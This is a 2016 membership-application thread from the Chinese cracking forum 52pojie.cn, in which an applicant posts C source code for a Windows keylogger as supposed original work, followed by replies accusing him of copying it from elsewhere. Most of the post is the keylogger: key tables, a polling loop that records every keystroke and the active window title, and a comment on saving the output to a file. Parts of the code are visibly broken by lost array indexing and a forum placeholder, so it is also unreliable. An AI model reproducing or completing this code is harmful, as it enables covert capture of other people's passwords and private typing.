吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 5850|回复: 40
收起左侧

[会员申请] 申 请 I D:江少

[复制链接]
吾爱游客  发表于 2016-2-16 18:17
1、申 请 I D:江少
2、个人邮箱:321648591@qq.com
3、原创技术文章:
c语言键盘记录源码
本人初中狗一名,仅抱着对计算机的热爱,编写各种程序,软件,C语言。
#include <windows.h>
#include <stdio.h>

// 一些全局变量

// 小写字母键 & 其它的一些键
char *LowerCase[]={
"b",
"e",
"[ESC]",
"[F1]",
"[F2]",
"[F3]",
"[F4]",
"[F5]",
"[F6]",
"[F7]",
"[F8]",
"[F9]",
"[F10]",
"[F11]",
"[F12]",
"`",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"0",
"-",
"=",
"[TAB]",
"q",
"w",
"e",
"r",
"t",
"y",
"u",
"i",
"o",
"p",
"[",
"]",
"a",
"s",
"d",
"f",
"g",
"h",
"j",
"k",
"l",
";",
"'",
"z",
"x",
"c",
"v",
"b",
"n",
"m",
",",
".",
"/",
"\\",
"[CTRL]",
"[WIN]",
" ",
"[WIN]",
"[Print Screen]",
"[Scroll Lock]",
"[Insert]",
"[Home]",
"[PageUp]",
"[Del]",
"[End]",
"[PageDown]",
"[Left]",
"[UP]",
"[Right]",
"[Down]",
"[Num Lock]",
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
".",
};

// 大写字母键 & 其它一些键
char *UpperCase[]={
"b",
"e",
"[ESC]",
"[F1]",
"[F2]",
"[F3]",
"[F4]",
"[F5]",
"[F6]",
"[F7]",
"[F8]",
"[F9]",
"[F10]",
"[F11]",
"[F12]",
"~",
"!",
"@",
"#",
"[        DISCUZ_CODE_0        ]quot;,
"%",
"^",
"&",
"*",
"(",
")",
"_",
"+",
"[TAB]",
"Q",
"W",
"E",
"R",
"T",
"Y",
"U",
"I",
"O",
"P",
"{",
"}",
"A",
"S",
"D",
"F",
"G",
"H",
"J",
"K",
"L",
":",
"\"",
"Z",
"X",
"C",
"V",
"B",
"N",
"M",
"<",
">",
".?",
"|",
"[CTRL]",
"[WIN]",
" ",
"[WIN]",
"[Print Screen]",
"[Scroll Lock]",
"[Insert]",
"[Home]",
"[PageUp]",
"[Del]",
"[End]",
"[PageDown]",
"[Left]",
"[Up]",
"[Right]",
"[Down]",
"[Num Lock]",
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
".",
};

// Ascii码键,忘掉它们
int SpecialKeys[]={
8,
13,
27,
112,
113,
114,
115,
116,
117,
118,
119,
120,
121,
122,
123,
192,
49,
50,
51,
52,
53,
54,
55,
56,
57,
48,
189,
187,
9,
81,
87,
69,
82,
84,
89,
85,
73,
79,
80,
219,
221,
65,
83,
68,
70,
71,
72,
74,
75,
76,
186,
222,
90,
88,
67,
86,
66,
78,
77,
188,
190,
191,
220,
17,
91,
32,
92,
44,
145,
45,
36,
33,
46,
35,
34,
37,
38,
39,
40,
144,
111,
106,
109,
107,
96,
97,
98,
99,
100,
101,
102,
103,
104,
105,
110,
};

HWND PreviousFocus=NULL;
// 数据结束

// 函数原型生命
//----------------------------------------------------------------------
BOOL IsWindowsFocusChange();
BOOL KeyLogger();
//----------------------------------------------------------------------
// 函数原型声明结束

// 主要的过程
int main()
{
KeyLogger(); // 进行键盘记录
return 0; // 程序退出
}
// 主要过程结束

//-------------------------------------------------------------------------
// 目的:  要检查活动窗口标题
// 返回值: 布尔值(Boolean)
// 参数: NULL
//-------------------------------------------------------------------------
BOOL IsWindowsFocusChange()
{
HWND hFocus = GetForegroundWindow(); // 检索活动窗口焦点
BOOL ReturnFlag = FALSE; // 声明返回标志
if (hFocus != PreviousFocus) // 如果活动窗口已更改
{
   PreviousFocus = hFocus;     // 保存旧活动的 Windos 焦点
   int WinLeng = GetWindowTextLength(hFocus); // 获取活动窗口标题的长度
   char *WindowCaption = (char*) malloc(sizeof(char) * (WinLeng + 2)); // 给标题分配内存
   GetWindowText(hFocus,WindowCaption,(WinLeng + 1));     // 活动窗口标题检索
   if (strlen(WindowCaption) > 0) // 如果获得的是真正的窗口标题
   {
printf("\r\nThe Active Windows Title: %s\r\n",WindowCaption); // 显示活动窗口的标题
ReturnFlag=TRUE; // 指示已更改 Windows 的焦点
   }
   free(WindowCaption);     // 释放已分配的内存
}
return ReturnFlag; // 返回标志
}// 结束获得窗口焦点变化

//-------------------------------------------------------------------------
// 目的: 管理(显示)检测到的来自系统密钥缓冲区的键
// 返回值: 布尔值(Boolean)
// 参数: NULL
//-------------------------------------------------------------------------
BOOL KeyLogger()
{
int bKstate[256] = {0};     // 关键声明
int i,x;
char KeyBuffer[600];     // 缓冲区数组
int state; // 记录一些特别的键,像CapsLock,Shift和ect
int shift;

// 重置缓冲区
memset(KeyBuffer,0,sizeof(KeyBuffer));

while(TRUE)     // 创造一个死循环(无限次获得用户的键盘内容)
{
   Sleep(8); // 避免过度占用CPU
   if (IsWindowsFocusChange()) //检查活动窗口标题
   {
if (strlen(KeyBuffer) != 0) // 如果按下了键
{
   printf("%s\r\n",KeyBuffer); // 显示按下的这个键
   memset(KeyBuffer,0,sizeof(KeyBuffer));     // 重置缓冲区
}
   }

   for(i=0;i<95;i++)     // 检查视觉的循环
   {
shift = GetKeyState(VK_SHIFT); // 检查是否按下 shift 键
x = SpecialKeys; // 找到这个键
if (GetAsyncKeyState(x) & 0x8000) // 检查键的组合
{
   // 看看CapsLocak或shift键是否按下
if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91))) // 如果没按下Caps Lock键和Shift键
{
       bKstate[x] = 1;     //大写字母 A-Z
}
else
       if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91))) //如果按下了Caps Lock键和Shift键
       {
       bKstate[x] = 2;     //小写字母 a-z
       }
       else
       if (shift < 0) //  按下 shift 键
       {
         bKstate[x] = 3;     //大写字母 A-Z
       }
       else
         bKstate[x] = 4;     //小写字母 a-z
}
else
{
   if (bKstate[x] != 0)     // 没有检测到的组合键
   {
       state = bKstate[x]; // 检索当前状态
       bKstate[x] = 0; // 重置当前状态
       if (x == 8)     // 如果检测到删除键
       {
      KeyBuffer[strlen(KeyBuffer) - 1] = 0; // 一键恢复
      continue; // 启动一个新的循环
       }
       else
      if (strlen(KeyBuffer) > 550) // 缓冲区满
      {
         printf("%s <Buffer Full>",KeyBuffer); // 显示键检索
         memset(KeyBuffer,0,sizeof(KeyBuffer));     //  重置缓冲区
         continue; // 开始一个新循环
      }
      else
         if (x == 13) // 如果检测到Enter键
         {
             if (strlen(KeyBuffer) == 0) // 除Enter键之外没有检测到其它键
             {
                             continue; // 开始一个新循环
             }
             printf("%s<Enter>\r\n",KeyBuffer); // 检索Enter键和其它键
             memset(KeyBuffer,0,sizeof(KeyBuffer)); // 显示Enter键
             continue; // 开始一个新循环
         }
         else
            if ((state%2) == 1) //必须是大写字符
             {
            strcat(KeyBuffer,UpperCase); // 存储一个键到缓冲区
             }
             else
               if ((state%2) == 0) // 必须是小写字符
            {
               strcat(KeyBuffer,LowerCase); // 存储一个键到缓冲区
            }
   }
}
   }// 结束for循环
}// 结束while循环
return TRUE; // 返回一个值并结束函数
}// 结束键盘记录
// 结束文件
//如果想把结果保存下来,只需要把其中的输出函数替换为输出到文件就可以了


点评

我小学的表弟也会这个其实很简单就C+c、C+v  发表于 2016-2-17 09:50
这么简单就可以申请ID了??  发表于 2016-2-17 07:39
去买个注册码注册吧才十几块钱,就当资助论坛。  发表于 2016-2-16 20:12

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Hmily 发表于 2016-2-16 18:22
这申请内容到处都是,你是原作者吗?
楚轩 发表于 2016-2-16 18:30
Deja_You 发表于 2016-2-16 18:30
如果是原作者的话  能有这个能力也挺不错

话说“江少”这个ID还没被占用啊?
520_ai_in@sina. 发表于 2016-2-16 18:37
http://www.zixue7.com/thread-647-1-1.html 到处都是楼主原创?
hstzsf 发表于 2016-2-16 18:42
别来丢人了
z234465027 发表于 2016-2-16 18:44
呵呵 这个是原创么?
头像被屏蔽
aajjhd 发表于 2016-2-16 19:00
提示: 作者被禁止或删除 内容自动屏蔽
Aliman 发表于 2016-2-16 19:07
http://tieba.baidu.com/p/2733857412  到处都是楼主原创?
a5680497 发表于 2016-2-16 19:11
Aliman 发表于 2016-2-16 19:07
http://tieba.baidu.com/p/2733857412  到处都是楼主原创?

呵呵,大神好厉害啊,这些帖子都能找到啊
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 19:55

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表